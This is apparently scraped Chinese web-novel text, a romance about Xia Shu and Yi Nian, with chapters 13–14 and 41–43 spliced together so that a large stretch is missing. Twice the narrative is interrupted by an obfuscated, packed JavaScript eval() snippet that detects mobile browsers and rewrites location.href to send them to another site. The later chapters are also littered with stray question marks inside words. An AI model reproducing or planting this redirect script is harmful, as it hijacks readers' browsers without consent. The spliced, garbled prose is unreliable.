听见夏林妄自菲薄,夏树立刻打断了她:“别一天想些有的没得,那是双人项目,你自己知道的,少了谁都不行,要是像你说的她这么优秀,你如果会拖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717338|144793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她后腿,教练怎么还会让你俩一对,不得找个更厉害的来跟她配合。” 电话那头沉默半晌:“……嗯,有道理。” 提起了教练,夏树问道:“对了,你那教练,他一直都那样吗,我今天见了他,感觉他,不太好相处。” 夏林叹了一声气,降低音量:“可能就对我那样吧。” 夏林说余震东一直看人下菜碟,谁给他送礼,他就对谁笑脸相迎,之前一个学姐参加了一个全国性的比赛,得了十多万的奖金,学姐私下把那笔钱全部给了他,他恨不得给天天给人家端茶送水。 对于夏林这样只能送他点土特产的人,几乎都是爱答不理。 “啧,难怪呢,我就说他看见我和见黎总是两个态度。” 夏树顺着夏林的话吐槽了几句她的教练,想以此来缓解她的焦虑。 倒也奏效,聊了十多分钟,挂电话之前听着夏林的语气已经比一开始接通电话时兴奋许多。 挂断电话时,天空变成墨蓝色,街灯已经亮起。 夏树抓了几下脚踝上不知被蚊子什么时候咬出来的包,起身往回走。 就当庆祝夏林比赛得第一,路过一个便利店的时候,她进去买了几瓶啤酒。 回到酒店,她喝完一瓶,觉得独自喝酒实在无趣,打了个视频给周雨唯,想组个视频酒局,可周雨唯还在加班,不知道什么时候才能忙完,不能陪她喝。 挂了视频,周雨唯发信息过来:【易年不是也在吗,你直接约他不就行了】 约易年…… 夏树有些犹豫,好像没有合适的理由找他喝酒。 于是她又独自喝了两瓶。 夏树酒量不算好,三瓶啤酒下肚,已经微微上头。 思索片刻,她决定去敲开隔壁的门,让易年来陪她喝两口。 主要想套套话,问问易年关于她微信黑名单的事。 她把弄乱的床单拉平,把房间内的一套桌椅搬到了阳台上,决定跟易年坐在那里喝。 布置完,她敞开了房门,走到易年房间门口。 “咚咚咚——” 夏树断断续续敲了几下房门,门没被打开,她把耳朵贴近房门,里面没有任何声音。 她摸出手机,站在原地给易年发了个:【在哪?】 几秒后,随着电梯“叮”的一声,她的手机屏幕亮起来。 【易年:刚回来】 还没点进微信,易年就出现在了过道里。 他的身上换了深灰色衬衣和黑色西裤,步态从容地朝她走过来。 宽肩窄腰,紧实的肌肉线条,看上去就像是在酒店过道拍时尚大片的明星,外形上挑不出一点瑕疵。 距离渐渐拉进,她见他脸上浮了些红色,眼睛还有些迷蒙。 “你在这干什么呢?”他的语调很轻,嗓音还有些沙哑。 “我想问问你要不要去我房间……” 话没说完,夏树就闻见了他身上的酒味。 估计是才应酬回来,再约他喝酒,好像也不太合适。 她努了努嘴:“算了,没什么。” 此时易年已经走到了夏树面前,他缓缓探下脑袋,拉近与夏树的距离,嘴角噙着一丝不易察觉的讶异:“去,你房间?” 随着两张脸的拉进,夏树的心脏不受控地跳动。 愣神片刻,她在想那个便利店好歹也是连锁的,应不至于卖假酒。 那她的心跳,是因为易年? 咳咳。 应该,只是,因为他离得近,有点不适应。 她不自觉地后退两步,直到整个身体都靠在了墙上。 却不料易年又向她靠近两步,将手穿过她的肩膀上方,杵在墙上。 他直勾勾地看着她,像是要把她看穿。 浅扬了下眉,他说:“不想当拉拉了?” 14. 第 14 章 问她不想当拉拉了? “……” 所以现在的情况是,易年故意用中午的事来捉弄她? 或者易年当真以为夏树是拉拉,以为她现在叫他去房间去做一些不可描述的事? 无论是哪一种可能性,夏树都觉得无语至极。 她撇了撇嘴,毫不收敛地翻了个白眼,一把将易年杵在墙上的手打掉:“还玩壁咚?你土不土!” 手上突然失去支撑,易年没站稳,身体不自觉往后退了一步。 站定之后,他懒散挑眉:“不是你自己说的让我去你房间?” “还说我给你房卡让你去睡觉如何如何,你这大晚上的邀请一个单身男人去你房间,才是图谋不轨吧。” 暖色顶灯恰巧自上而下直直照着他的脸。 喝了酒的易年,脖子上的青筋因为充血而膨胀,恰到好处的碎发四散在酒后迷蒙的眉眼间,长睫的影子落在通红的双颊上。 他的唇瓣单薄,棱角却异样分明,隐藏着一股野性难驯的男性荷尔蒙美感。 夏树忍不住多看了两秒。 但不知为何,那种被假酒支配心脏的感觉又萌生出来,她似乎能清楚地听见自己的呼吸声和心跳声。 夏树做了个吞咽的动作,及时收住了还未延伸思绪和眼神。 食色性也,肯定是因为自己是微醺状态,所以在面对这张脸时,才会多多少少有些招架不住。 这时,电梯又“叮”的响了一声,过道那头传来三三两两人声。 易年朝那边看了眼,戏谑道:“我可不是什么随随便便的男人。” ??? 他不是什么随随便便的男人,那意思是她是随随便便的女人? 她半仰着头,睨着易年:“你属黄瓜的吧!” 说完便扭头进了房间。 - 夏树关上房门,易年仍站在原地,揣摩那句“属黄瓜”的意思。 一对中年夫妻带着一个小女孩走进客房过道,经过易年身边时,小女孩抬起稚嫩的小手指向他:“妈妈,你看这个高个子叔叔是不是被刚才那个漂亮姐姐施了魔法,他怎么动都不会动,只会笑……” 小女孩的妈妈立刻将小女孩抱起:“宝宝不可以不礼貌!”又对着易年讪讪微笑,“抱歉啊,小朋友不懂事,您别介意。” 回过神来,易年对小女孩温柔地笑着:“对,那个漂亮姐姐会魔法。” …… 进到房间,易年靠在躺椅上回想着几分钟之前在过道上的场景。 夏树真的和原来不太一样。 现在的她,好像完全不允许自己落入下风,相比原来,多了一身反骨。 他掏出手机,给夏树发了句“早点休息”。 视线没有离开对话框,约莫半分钟后,夏树回复:【哦】 退出聊天框,肌肉记忆带着他清理手机上无关紧要的消息通知,在所有消息通知被清理的一瞬,视线一晃,看见“感同声受”app有一条特别关心的更新通知。 正常情况下,夏树不会在这个点就更新,而且过去一周也没更新过,易年以为自己看错了。 他点开了app。 还真更新了一个新的鬼故事,时间是下午六点。 易年将手机媒体音量调到最大,点了播放,随后找了换洗衣物走进浴室。 水流声丝毫没有盖过夏树的声音。 听着这期的鬼故事,易年后背发凉。 易年三四岁时身体弱,经常梦魇,被鬼压床,那时候一到晚上就不愿意睡觉,必须爸爸妈妈一直在他身边,他才能勉强入睡。 祖母找大师算了之后说是他有次发烧冲撞了不干净的东西,后来祖母找了些民间办法,才慢慢让他有所好转。 从那以后他就一直很害怕那些科学难以解释的东西,不敢一个人走夜路,不敢关灯睡,更别说主动看鬼片或者听鬼故事。 后来……虽然听了夏树讲的七百多个鬼故事,已经没有小时候那么害怕,但是今晚这个故事讲的是水鬼。 一个损了阴德的人游泳时惹上了水鬼,还把水鬼带回了家,在洗澡时候水鬼就飘在浴室顶上看着那个人…… 此时此刻,易年也在浴室! 故事讲到水流突然变小,不知是不是心理作用,他感觉自己洗澡的水流也正在变小。 有点毛骨悚然,他不太愿意在浴室过多逗留,于是火急火燎地洗完出了浴室。 连头发都没吹干。 出了浴室,他看了眼进度条,还剩二十多分钟。 “……” 今天这个故事的效果确实比前段时间的猛,听了几分钟,恐怖的氛围渐渐浓烈,只感觉酒店房间越来越压抑。 他打算去阳台看着酒店楼下的车流和行人,算是蹭点别人的人气。 易年握着手机走到阳台,他所在的楼层是二十二楼,从这里看下去,行人和车辆勉强能看清。 他正准备回房间搬个椅子出来,才一转身,就看见夏树坐在隔壁的阳台,手里捏着啤酒瓶,疑惑地凝眉看他。 易年的第一反应是赶紧按下鬼故事的暂停键,但是慌乱之中,直接点了全屏退出。 声音还在继续,他只能迅速将音量关到最低,再重新点进电台按暂停。 “我怎么……”夏树稍稍坐直,“听见我的声音了?” 按下暂停,易年不紧不慢抬头:“没有吧,你听错了。” 这一片还算清静,坐在阳台上,只能听见楼下微弱的车流声和风声。 刚刚,夏树明明听见易年手机里传出来自己时强时弱的声音。 他又在搞什么幺蛾子? 她继续用怀疑的眼神睇着易年,易年把手机装进口袋:“可能是,刚刚不小心点了你之前发给我的语音。” “哦。” 夏树没搭理他,将头别到一边,接着悠然地抬起酒瓶。 “我说你……”易年抱起双臂,懒散地靠着酒店的落地推门,“是不是我没去你房间,所以失落地在这里喝闷酒?” 夏树:“?” 这人莫不是脑子真的有什么大病。 她无奈地往椅背一靠,攒着眉,鼻腔呼出一口气,“易年,我真的很想知道,这些年你到底发生了什么,怎么现在说话都这么不要脸!” 他最好只是开玩笑,要是认真的,夏树真的有种想从这里翻过去削他的冲动。 “哎,你还怪起我来了?”易年若无其事地喊冤,“不是你跟我说让我去你房间,然后还话说一半就跑了。” “怎么,有问题吗?嘴长我身上,你管我说什么,跟你有什么关系?” 说完,夏树又对着酒瓶吹了一口,“洗洗睡吧,别在这碍我的眼。” 夏树尾音落下,易年就回了房间。 她还以为是自己刚刚说他碍眼那句话惹恼了他,不料半分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏树将地上的几瓶啤酒拎上桌,手指点着瓶身,脸色如常:“我只是想过去问问你,要不要来一起喝点,而已。” 易年:“那你干嘛不直说,还直接跑了。” 夏树:“我自己已经喝了点酒,还能闻见你身上有酒味,证明你也喝了不少酒,那我还约你干嘛?到时候把你喝翻了,还要我来照顾,那不是自找麻烦。” “这位同学,你忘了我家是做什么的了?”易年炫耀般地挑着眉,“从小闻着酒味长大,我至今还不知道酒醉是什么东西。” 坐在阳台上一吹风,夏树醉意攀升。 她知道易年说的是事实,但对方说这话的口气实在是狂妄。 本想怼易年两句,但是脑容量告急,想不起来要说什么。 易年见她迟迟不说话,又补充:“那点酒劲,洗个澡就完全没了。” 夏树略带认同地瘪了下嘴,没说话。 易年:“你要是现在还需要酒搭子,我可以勉强考虑一下。” “酒搭子……” 夏树犹豫片刻,清了清嗓,“要是你嘴不贱,倒是可以过来组个话搭子。” 此时此刻,夏树还不知道她这一句话会为她带来何种后果。 40-50 第41章 回到易年家,才?一开门,夏树就在鞋柜前看见两双并排放在一起的拖鞋,一双男士黑色简约款,一双女款白色布丁狗卡通款,白色拖鞋的鞋面上?布丁狗的耳朵缺了一块,她确定是?自己的拖鞋,应该被清洗过,看上?去很干净。 “拖鞋我也准备了新的,就在你面前鞋柜里,你要穿自己的也行,穿新的也行。”他说。 说来也奇怪,在回来的路上?,夏树还因为?要跟易年同住一个屋檐下而?有所忧虑,但此刻就因为?这么一双旧拖鞋,看见熟悉的物品出现?在这里,她居然对易年家生出来一丝丝归属感。 她抬眸,目色柔软,轻声说了声谢谢,便换上?了自己的布丁狗拖鞋。 进?到客厅,夏树四下张望,并未看见自己的行李,易年似是?看出她在找行李,眼睛指向房间走廊的方向:“你的东西已经放进?房间了,收纳师整理过,不过想怎么摆放,可以按照你的习惯来。” 本想着还要回来整理行李,没想到易年已经提前让人整理好。 夏树心里渐渐涌上?一股暖流,如果不是?易年,她和徒弟三?人现?在估计还不知道在哪里吃空气。 短短一天?之内,他不仅解决了她汽修厂搬迁的问题,给她提供场地和合同,让她重新当老?板,解决了所有人的食宿问题,甚至把她的拖鞋都安排妥当了。 之前感觉他贱嗖嗖的,老?是?怼她,现?在居然还能?看见他这么贴心的一面。 她不禁想,这应该就是?他追女孩的方式吧。 还挺,少见! 夏树再次柔声道了声谢,“那我先?进?去看看有什么要收拾的。” 她往次卧的方向走着,易年跟在她身后,来到次卧门口,房门敞开着,里面却不见任何一件夏树的东西。 “在这边!” 夏树闻声回头,易年抬着手,纱布包裹着的弯曲指节指向他的卧室。 “不可能?!”夏树当即正色道,“我不会?跟你睡一间!” 易年眉头微蹙,轻声哼笑。 察觉自己的语气似乎有些刻薄,夏树抽动唇角,又转换稍微客气的语气补充:“我们目前只是?合作关系,我答应来你家睡,不是?来跟你睡!而?且,你说追我,我也还没答应你。” 易年嘴角噙笑,神色懒懒:“然后呢?” “然后……”一时间夏树也想不起说什么,迟疑片刻,目光讪讪下移,“我不是?什么随?*便的人。” “这句话,怎么,有点耳熟!”易年自顾自走进?客房,“我们证都领了,如果我家里人来这里看见你的东西没在我房间,会?怎么想?!” 夏树:“……” “你睡我房间,这样至少你的生活痕迹都在里面,别人也看不出破绽,”易年推着门把,在关上?门的最?后一刻,掷地有声道,“我、睡、这、边!”- 这是?夏树第一次认真参观易年的房间。 她自己的衣服被整齐地挂在他衣帽间的一侧,紧挨着的还有一整墙吊牌都未拆的女装,春款到冬款都有。 另一侧,琥珀色的玻璃柜门下,挂着易年的各类衣服,除了一些西装,其他衣服白色居多。 她想起,重逢那天?,在医院,他穿的也是?一套白色运动服。 那时候两人的开场白可不太友善,想不到没过多久,两人的关系就有了翻天?覆地的变化。 一切的一切,像一场梦,虚幻缥缈,来得太不真实,但男人的声音、呼吸、体温,又让她得以在不切实际的造梦空间里找到实感。 夏树没在衣帽间久待,拿了套自己的睡衣换上?便出了衣帽间。 床上?换了一套带着蕾丝花边的鹅黄色格子纹样被套,应该也是?易年特意?换上?的。 看了眼床头电子钟的时间,夏树突然想起今天?该更新她的鬼故事电台,她把之前存好的鬼故事发布后,在主页挂了未来一周不能?更新的假条。 之后一段时间得抓紧完成蓝韵洗车间的准备工作,应该是?抽不出时间来录鬼故事了。 在房间里没见她的电脑和录音设备,她打算去问易年被放在哪里了,刚出房门,正好碰见易年从客房出来。 他手上?捏了一摞A4纸,他的手在回来的时候从新包扎过,纱布裹得松,双手就比之前灵活些。 “我的电脑你知道放哪了吗?” “书房。” 夏树点了点头,朝书房远眺一眼,确实看见有一个纸箱放在书房桌上,收回视线正欲回房间,易年突然说:“咱两开个会。” “开会??!” “对的,”他看了眼墙上?的挂钟,“要不了多久,争取在十一点前结束。” 夏树以为易年说的开会又是故意逗她之类的,没想到真的是?在开会?。 易年拿着条例在书房和夏树面对面,放在上?面的A4纸上?是?刚刚打印出来的《蓝韵酒庄员工管理条例》。 “虽然我们是?合作关系,你是?洗车间老?板,但是?工资是?由蓝韵给你结算,那你的人也算是半个蓝韵员工,里面的一些必要的规章制度还是需要遵守。” 夏树对易年的话没有异议,她也是?这么想的:“嗯,我知道,有电子版的话你发一份给我,我发给他们三?个。” “按照酒庄目前的客流量,你的三个徒弟肯定忙活不过来,你要趁早着手再招人。工作服最近几天?会?发样式给你挑,由蓝韵来提供,上?面会?印上?‘鑫鑫洗车’和‘蓝韵酒庄’的字样。” 招人的事夏树倒是?想过,甚至在回来的路上?她就发信息问了几个之前的同学和学弟,至于洗车的工装,她却还没想到要换,但是?想想确实应该换,毕竟是?在蓝韵里面,也应该印上?蓝韵的名字。 “行,服装什么的,你让人跟我对接就行。” “还有,”易年不苟言笑道,“你是?这一块的负责人,为?了将你和普通员工区分开,你的工作服和别人的会?不太一样,可能?会?偏正式,这样的话,你就不方便再继续动手洗车。” “啊?!”夏树眉头微扬,疑惑道,“我肯定也要一起洗啊!我不洗车,那我要干什么啊?” 易年双腿交叠,优雅地靠向椅背,抬起右手想帅气地伸出一根手指,直到手指被扯疼,才?反应过来自己手掌被纱布包裹着,看上?去不但不帅,甚至还有点搞笑…… 装叉失败,他尴尬地咳了一声,很快调整好姿态,夏树似乎并未注意?到他这一举动,眸中只有不解。 “你要做的,就是?一个字,学!” “学?学什么?” 易年从容挑眉:“什么都学,”说着,他将员工条例拿开,下面的纸上?密密麻麻印满了字,“这是?我之前整理的生意?场上?的基本规则和一些实用技巧,现?在蓝韵的洗车间规模比你之前的汽修厂规模大,如何做好一个领导者?,如何应对不同阶层的客户什么的,这里面都有,我想这对你会?有帮助。” “等等,等等!”夏树还没从易年的话里找到头绪,“你是?说,我今后不洗车了,然后需要学着如何管理,如何做生意?,是?这个意?思吧!” “差不多,你可以这么理解,”他裹着纱布的手轻敲了两下纸叶,“里面有任何不懂的地方可以随时问我。” 夏树虎口托着下巴,开始琢磨易年的话。 先?不说她洗不洗车这个问题,单说有易年这样一个商业精英来教她做生意?,那可是?赚大发了! 反正她一身的修车手艺,怎么丢也丢不掉,现?在不用修车了,那确实可以抽空来丰富自己。 跟蓝韵的合同签了五年,哪怕五年之后不会?继续合作,她捏着易年教给她的东西,不管去哪里另起炉灶应该都会?轻松很多。 夏树把手往那一摞A4纸上?一拍,又顺势全部拿了起来,语调铿锵有力:“好,我学,那就拜托易老?师倾囊相?授了。”- 夏树以为?是?自己看,未曾想易年居然耐心地一条一条向她讲。 高中时,易年也是?这样,夏树遇到难解的题,只要向他开了口,他都会?牺牲自己的课余时间来讲。 有时占的时间太长,夏树跟他说抱歉耽误他了,他反倒笑笑,说再讲一遍对他来说是?巩固知识,不存在什么抱歉不抱歉的。 那时候她就在想,以这个人的授课耐心,今后要是?当个老?师,绝对桃李满天?下。 生意?上?的知识,她听得很认真,不时提出自己的疑问,易年都一一解答,不知不觉就忘了时间,直到眼皮有些发酸,夏树抬眼看向墙上?的钟,才?发现?已经接近凌晨三?点。 她赶紧将纸叶重新整理好:“大意?了大意?了,感谢易老?师倾囊相?授,我为?易老?师打电话!耽误你这么长时间,你快去睡吧,明天?有时间咱们再继续。” 易年脸上?倒是?看不出疲惫之色,甚至看上?去还精神抖擞。 他清了清嗓,漫不经心地开口:“听说,你做饭很好吃?” 夏树不知道他为?什么突然前言不搭后语,却也没多想:“怎么了?你听谁说的?” “就……第一次在医院见到你那次,我听小保说的。” 那天?重逢的场景夏树仍历历在目,但她仔细回想,不记得保钦元说过这话。 “他好像没说过吧,要不然我怎么不记得?” “他说了,”易年又清了下嗓,“他跟你妹说,让你妹回去你们那里,他和你做好吃的给你妹吃!” 嘶……这话保钦元好像是?说过,但这句话重点不是?在于给夏林做饭吗,怎么就变成夏树做饭好吃了?? 夏树眼睛眨巴几下:“额,你要这么理解,倒是?也可以,说实话我手艺确实也还行。” 这时,身旁的男人腹部传来一阵空响。 他立刻不太自然地摆动上?肢调整坐姿,来掩饰尴尬。 夏树:“……” 她差点没忍住笑出来。 “哎哟,易老?师,肚子饿就直说嘛,你这拐了这么几个大弯,不就是?想让我给你弄宵夜嘛!” “都说要追你了,怎么好意?思让你煮碗少葱少香菜多放醋多放辣椒的鸡蛋炸酱面呢!” 夏树:“……” 话都说到这个份上?了,还说不好意?思? 第42章 之后的一段时间,易年和?夏树的生活趋于平稳的忙碌状态。 夏树觉得她刚与酒庄合作,目前整个洗车部门流程还未完全走上正轨,她不太想让太多员工知道她和?易年的关系,所以每天早上两人到?达酒庄后几乎只?有下?了班才会见?面。 下?班回家?,易年就开始他的商业知识小课堂,而每晚课堂结束,夏树都会为他做一份宵夜,作为授课的报答。 平平无奇的一天,夜色袭来,同样是在课堂进行?中,易年接了个电话。 电话似乎打破了轻松的课堂氛围,易年目光微锁,拇指和?食指似是卯足了劲搓揉着手中的钢笔笔杆。 电话的最后,他只?说了声知道了。 挂了电话,他的脸上浮起淡淡愁色:“林林集训的事有结果了。” 闻言,夏树轻皱眉头,试探道:“所以……是真的有问题吗?” 易年点了点头:“不过事情目前的情况还不算太差,如何处理可?以由你来决定。” “我能?决定?”夏树诧异道。 易年向?她说了调查结果,集训是真的,而且请来的特约教练确实也是权威人士,夏林和?队友们到?目前确实通过集训水平得到?了提升,但夏林的教练余震东从中吃的回扣至少?占了集训费用的一半以上。 易年说目前有两个方案,一个是实名举报余震东,让他偿还全款,但是这样的话集训就无法再继续进行?,所有行?业都有灰色地带,如果实名举报,很有可?能?通过这件事,今后大家?为了避嫌,就没?有特约教练会愿意?带夏林,但是如果夏树想举报,他可?以联系国外的教练,把夏林送出国训练。 易年面色犹疑,夏树大概能?猜测这个方法在他看来并非良策,而且她也不想平白无故再用易年的钱,如果出国,必定费用不低。 “你说有两个方案,那你是不是有什?么更好的办法?”她问。 “也不算更好,我的建议是让集训继续进行?,因为我请人分析过林林的数据,和?现在这个特约教练的训练方式,目前国内,或者?可?以说全球范围内,他的训练体系是最适合妹妹的,而且她完全有机会通过系统训练来达到?国家?队水平的。” 夏树思?索着点了点头。 “如果是这个方案,那我会帮你操作要回他吃的回扣,好在余震东的钱并没?有花在吃喝嫖赌上,只?是在外面给他的……”易年顿了一秒,“情人,买了房子,房子卖了就可?以偿还。” 余震东其貌不扬,况且体校工资并不高,夏树大为震惊:“他居然有情人?而且还能?用这些钱买房子?那他贪的也太多了吧!” “好像,是他之前带的运动员,而且跟他有关系的运动员不止这一个,都是他先去勾搭的,这次是因为那个女孩怀孕了,所以才买的房子。” “!!!” 夏树震感更甚,甚至觉得后怕。如此说来,夏林岂不是在一个禽兽手底下?,而且随时有被禽兽惦记的风险! 看出夏树的担忧,易年本能?地将手掌覆到?夏树的头顶,指尖在她发丝上轻轻摩挲。 “你别担心,这次集训结束,等他把钱吐出来,他不会继续在学校待下?去的,林林这边你不用担心,我不会让她有事。” “嗯。”夏树轻轻应和?,她对易年的信任似乎已经?根深蒂固,知道易年说能?办到?的事就一定没?问题。 半晌后,夏树调整了自己的状态,想继续上课,却发现易年的手还在她的头顶。 感觉发丝已经?被揉乱,她眼睫上掀,食指缓缓抬起戳了戳易年的臂弯,鄙夷道:“你是把我当狗了吗?撸狗才这样摸头。” “???”易年被气笑了,“我说你是不是浪漫过敏啊!这么亲密的关心动多,你居然说我在撸狗!都住一起这么几天了,难道你对我就真的没?感觉?!” “……”夏树眼睛眨巴了几下?,没?说话。 这段时间生活充实而忙碌,她将易年说过追她的话放置在了一边,只?顾着学习商业知识,甚至连她的鬼故事电台都请了一个月长假,哪有什?么心思?去想什?么情情爱爱的。 因此同居生活在她看来,更像是学生时代的宿舍生活。 易年直勾勾盯着她,一副非要她给个交代的模样,可?她不知道应该说点什?么。 她认真想了想,也说不上来自己现在对易年是什么样的一种感觉,只?觉得自己挺享受跟他在一起的时光,轻松自如,而且能?学到?很多东西,甚至有时候不忙,还没?下?班,她就期待着回家?。 但是她觉得这些话,还……说不出口。 静默片刻,她抿了抿唇,只?说了几句实话:“我觉得这段时间你教的特别好,而且我也很愿意?听你讲课,能?学到?很多实用的东西,我很感谢你教我做生意?。” “……”易年无奈地叹出一口气,卸了力气向?椅背一靠,“不行?,我快被你气死了,今天不上课了!” 夏树凝眉觑他:“这么小气?” “对,我就这么小气!” “……” 易年懒散地偏着头,理所当然道:“你不是答应让我追你吗,现在兑现你的话,跟我约会去。”- 时间不算太晚,家?附近的夜市,无数灯光点缀着街头巷尾,鳞次栉比的摊位摆着琳琅满目的商品。 夏树几乎没?逛过夜市,原来汽修学校附近有一条小吃街,放学时间过后摊位就收了,而且那时候没?什?么钱,她不太愿意?出门,这些年忙工作,更是没?有时间没?体力闲逛。 才吃过饭没?多久,她对食物不感兴趣,平时不爱打扮,对各种小饰品和?小玩意?儿也不感兴趣,况且炎夏的夜晚,人潮涌动,更添了几分燥热,她对任何摊位都是走马观花看一眼就过。 “你不喜欢来这里吗?”易年垂眼,语调似是负愧地问她,“那要不要换个地方?” 夏树稍稍抬眼看他,摇头。 来夜市是她同意?的。 易年一开始提议看电影,夏树觉得家?里有影音室,出去看电影就太浪费钱了。 后来易年提议去酒吧坐坐,拜托,经?历了三两次酒后失态,夏树现在听见?酒字就害怕,哪还敢当着易年的面喝酒。 最后在电玩城和?夜市两个地方,夏树选了夜市,主要是这里离家?近,步行?就能?到?。 “没?有不喜欢,就是觉得人太挤了。” 说话间,一个看上去不到?二?十岁的男生从夏树身边经?过,被拥挤的人群推攮着,正正撞到?了夏树的肩,她往前踉跄一步,易年迅速伸手扶住她。 易年再次抬头,那人已经?隐在了人群中,他眉心不悦,揉揉夏树的肩,问道:“没?事吧。” 虽然已经?有过多次肢体接触,但突如其来的触碰,还是让她脸颊翻滚了小小的热浪。 “没?事。”她轻声说。 “算了,我们也别在这里挤了,前面有个广场,人少?一点,我们过去那边吧。” 易年话落,手臂仍旧紧紧护着夏树的肩膀,往前走了几步,又轻声道,“抱歉啊,下?次约会我一定会提前准备好的,认真挑地点,挑你真正喜欢的地方。” 夏树像一只?小猫,被人轻柔地拥在怀里,没?有反抗。 脸上的那股热浪渐渐传到?心尖,她仰头看向?这个男人的侧脸,突然觉得这个夜市其实还是挺有意?思?的,好像摊位上的货品也变得有趣起来。 她抿抿唇,嘴角带着浅浅笑意?:“我,没?有不喜欢这里,真的。” 保持着这一动作,两人继续向?前步行?不到?十分钟,来到?夜市广场。 没?了夜市街巷的嘈杂声,广场不远处零星年轻男女围着的人堆里,传来了木吉他的的声音,平静轻盈的旋律瞬间抓住了夏树的耳朵。 易年在这时候松开她的肩膀,垂眸看她一眼,默契地说过去瞧瞧。 走到?近处,前奏结束,男人唱歌的声音响起。 人堆里的男歌手带着黑色鸭舌帽,黑色T恤搭配黑色休闲裤,一身黑的穿搭为他偏冷的声线添了几分神秘感。 夏树和?易年在男歌手侧面的台阶席地而坐,他唱的几首歌,全是没?听过的,但夏树莫名觉得他的声音有点熟悉。 第三首歌结束,有围观的听众喊他唱首经?典粤语老歌,男歌手抬头,鸭舌帽下?的双眼露出来,夏树这才看见?他的全貌,虽然隔着一段距离,也不难看出那是一张极其清秀的脸。 他只?抬头看了一眼,便垂眼对着话筒说:“抱歉,我不接受点歌。”似乎是说给所有人听。 夏树戳了几下?易年肩膀,身体偏向?他:“这个人唱的挺好的,但全是冷门歌,听都没?听过,”她指向?男人面前敞开着的吉他包,“你看他吉他包里都没?什?么钱,要是唱点热门歌,打赏肯定多……可?惜了。” 易年意?味不明地笑笑:“没?什?么好可?惜的,难说人家?根本不缺钱。” 夏树并不认同:“不缺钱应该也不会出来卖唱吧!如果他刚刚唱了别人点的歌,难说那人就给他打赏了,换我听到?了想听的歌,肯定会去打赏的。” “你想听他唱其他歌?”他问。 “怎么说呢,我是觉得他如果能?唱点大家?都熟悉的歌,能?赚得多一点。” “那你想听他唱什?么,我让他唱给你听。” 易年的脸上是志在必得的表情,她猜测易年想使用他的“钞能?力”去点歌。 夏树虽不理解这位卖唱歌手为什?么不愿意?唱其他歌,但也尊重别人的想法,绝不想去刻意?打破别人的规则。 “别别别,”夏树制止道,“你没?听人说不接受点歌吗,随便听听就好了。” “别人是别人,我是我!”易年眉眼轻扬,语气笃定,“我长这么帅,他肯定会接受我的点歌的!” “……” 说自己帅!怪不会害臊。 也不知易年是不是故意?想在她面前撑面子,才这样说,不过她也不想看他待会儿碰壁难堪。 所以,她想了想,嘴角一撇,给他找了个台阶:“你带现金了?” 易年:“没?有。” 夏树双手摊开:“那不就得了,如果你想用钱收买他,现金没?带,他那里也没?个收款码,你怎么点歌,算了算了,安静听会儿歌就回家?了!” “你怎么就不信呢!我不需要用钱!”说话间,易年的指尖在夏树脑门上,轻轻点了点,“我自然有办法让他换歌!” “……” 给了台阶都不下?,夏树也不知道该说什?么好。 她眼睫向?上,无奈地看着脑门上的手指,冷冷道:“你幼不幼稚,在我面前没?必要这么死要面子,待会被拒绝了多尴尬!你这追人的路数……有待进步啊!” 易年轻轻牵着唇角,懒散偏头,神色浅淡,看着不像被夏树的话激到?,却仍未放弃这个念头:“那如果我真做到?了呢!” “你!”夏树在他眼前摇了摇食指,“做不到?!” 易年哼笑一声:“那这样吧,如果我做到?了……”他思?索片刻,“那你就答应我一件事!相反的,如果我没?做到?,我就答应你一件事。” “幼稚!”夏树瞥他一眼,收回视线,继续听着歌。 易年在她耳边呢喃:“那我就当你答应了啊!” 夏树:“……” 这人真的很幼稚! 又听男歌手唱完一首歌,易年突然起身整了整衣服,夏树没?太在意?,不料他接着就朝着男歌手大喊了声“帅哥”。 他的声音响亮,所有人的目光都在同一时间聚到?这边,包括那位男歌手。 他冲男歌手招了招手:“能?不能?来首《一路向?北》,我老婆想听!” 随即,所有人火热的目光落到?了夏树身上。 夏树脸颊瞬间红温:“???” 当着所有人,借老婆的名义喊出来,这就是他所说的办法? 她在无数吃瓜与祝福的眼神中默默底下?了头,真的很想踹旁边这个二?百五两脚,再顺便找个地缝钻进去! 第43章 “哇,这么帅,居然英年早婚了!” “他?老婆谁啊,怎么没看见?!””这也太浪漫了吧。” “……” 周围的?人群像是突然被点?燃的?烟花,爆发出兴奋的?起哄声。 人群里甚至还传出一声口哨,尖锐的?哨声在空中回?荡,与此起彼伏的?人声交织在一起,夏树嫌丢人,默默垂头往旁边挪了半米。 话筒里传出男歌手试麦的?声音,人群逐渐安静下来,大家的?目光又落回?男歌手身上。 “那,我等着吃喜糖。” 男歌手声音带着浅淡笑意,紧接着他?便唱起了《一路向北》。 夏树没想到他?真?的?会唱易年点?的?歌,歌曲开?始后,易年坐了下来,语调稍显得意:“我就说吧,我能让他?唱歌。” 夏树不客气地睇他?:“我又没说我要听,下次你自己社死,可别拉上我!” “嘶——” “你想耍赖?” “我耍什么赖了?” “不是说好我让他?唱歌,你就答应我一件事。” 夏树轻“切”了声,别过头去,“谁要陪你玩这种幼稚把戏!无、聊!” 易年故作不满:“哪有你这样的?!刚刚都默许了,现在又反悔!” 夏树没回?话,他?又说道,“你是嫌他?唱的?不好?那等他?唱完我就告诉他?,我老婆不满意,让他?重新唱好了。” 夏树用?眼尾觑他?,命令的?口气:“你能不能闭嘴,安静听歌!” 易年一脸“你不答应我誓不罢休”的?模样,指尖轻轻点?了几下夏树的?脑袋:“不行?,你不能耍赖,得有契约精神!” “……”夏树深吸一口气,打掉他?的?手。 